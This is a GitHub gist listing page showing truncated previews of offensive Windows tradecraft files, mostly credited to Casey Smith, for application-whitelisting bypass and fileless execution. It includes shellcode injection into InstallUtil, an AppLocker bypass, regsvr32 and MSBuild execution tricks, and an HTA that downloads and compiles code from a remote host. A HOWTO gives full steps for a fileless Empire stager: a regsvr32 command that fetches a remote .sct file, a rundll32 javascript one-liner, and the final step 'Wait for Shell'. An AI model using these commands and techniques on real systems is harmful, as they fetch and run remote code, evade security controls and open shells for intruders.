nicholasmckinney’s gists

nicholasmckinney / example.sct

Created May 8, 2017 00:33

SCT File Obfuscation Examples:

	<?XML version="1.0"?>
	<scriptlet>
	<registration
	progid="PoC"
	classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!-- License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[
	//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll

nicholasmckinney / rwxHunter.cs

Created May 8, 2017 00:33

Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

nicholasmckinney / Win10Bypass.cs

Created May 8, 2017 00:33

Windows 10 Prototype Bypass Applocker

	using System;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause
	Step One:

nicholasmckinney / evil.cs

Created May 8, 2017 00:33

Execute a DLL via Regsvr32

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using RGiesecke.DllExport;

	namespace Export
	{
	class Test
	{

nicholasmckinney / InstallUtil.hta

Created May 8, 2017 00:33

Download And Compile

	<html>
	<head>
	<script>

	//Set your settings
	var strFileURL = "http://192.168.56.103/execalc.html";
	var oTest = new ActiveXObject("wscript.shell");
	var pathTest = oTest.ExpandEnvironmentStrings("%USERPROFILE%") + "\\Downloads\\execalc.html";

	var strHDLocation = pathTest;

nicholasmckinney / kernel.xml

Created May 8, 2017 00:33

Blog Post Code - Attacking Drivers with MSBuild.exe.

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
	<Target Name="Hello">

	<ClassExample />

	</Target>
	<UsingTask
	TaskName="ClassExample"

nicholasmckinney / DynamicWrapperCS.cs

Created May 8, 2017 00:33

Dynamic Wrapper 1.1

	using System;
	using System.Reflection;
	using System.Reflection.Emit;
	using System.Runtime;
	using System.Text;
	using System.Runtime.InteropServices;
	using System.EnterpriseServices;
	using ComTypes = System.Runtime.InteropServices.ComTypes;

nicholasmckinney / EmpireCOMPosh.cs

Created May 8, 2017 00:33

Allows PowerShell Commands To Execute via JavaScript via COM. PowerShell without PowerShell.exe

	using System;
	using System.IO;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	//Add For PowerShell Invocation
	using System.Collections.ObjectModel;
	using System.Management.Automation;

nicholasmckinney / regfreeCom.ps1

Created May 8, 2017 00:33

Registration-Free Com Object from URL

	# Make Sure dynwrapx,dll is in %temp%
	$a = new-object -com Microsoft.Windows.ActCtx
	$a.ManifestURL = 'https://gist.githubusercontent.com/subTee/36df32293bc5006148bb6b03b5c4b2c1/raw/661b5aafd55288930761d9ad4eabe7403146ab5c/dynwrapx.dll.manifest'

	$b = $a.CreateObject("DynamicWrapperX")
	$b.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l") \| Out-Null
	$b.MessageBoxW(0, "Hello, world!", "Test", 4) \| Out-Null

nicholasmckinney / HOWTO

Created May 8, 2017 00:33

Fileless Empire Stager

	1. Create Empire Listener
	2. Generate Stager
	3. Host Stager Code At Some URL
	4. Host .sct File At Some URL
	5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
	6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
	-Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
	7. Wait for Shell...

Nicholas McKinney nicholasmckinney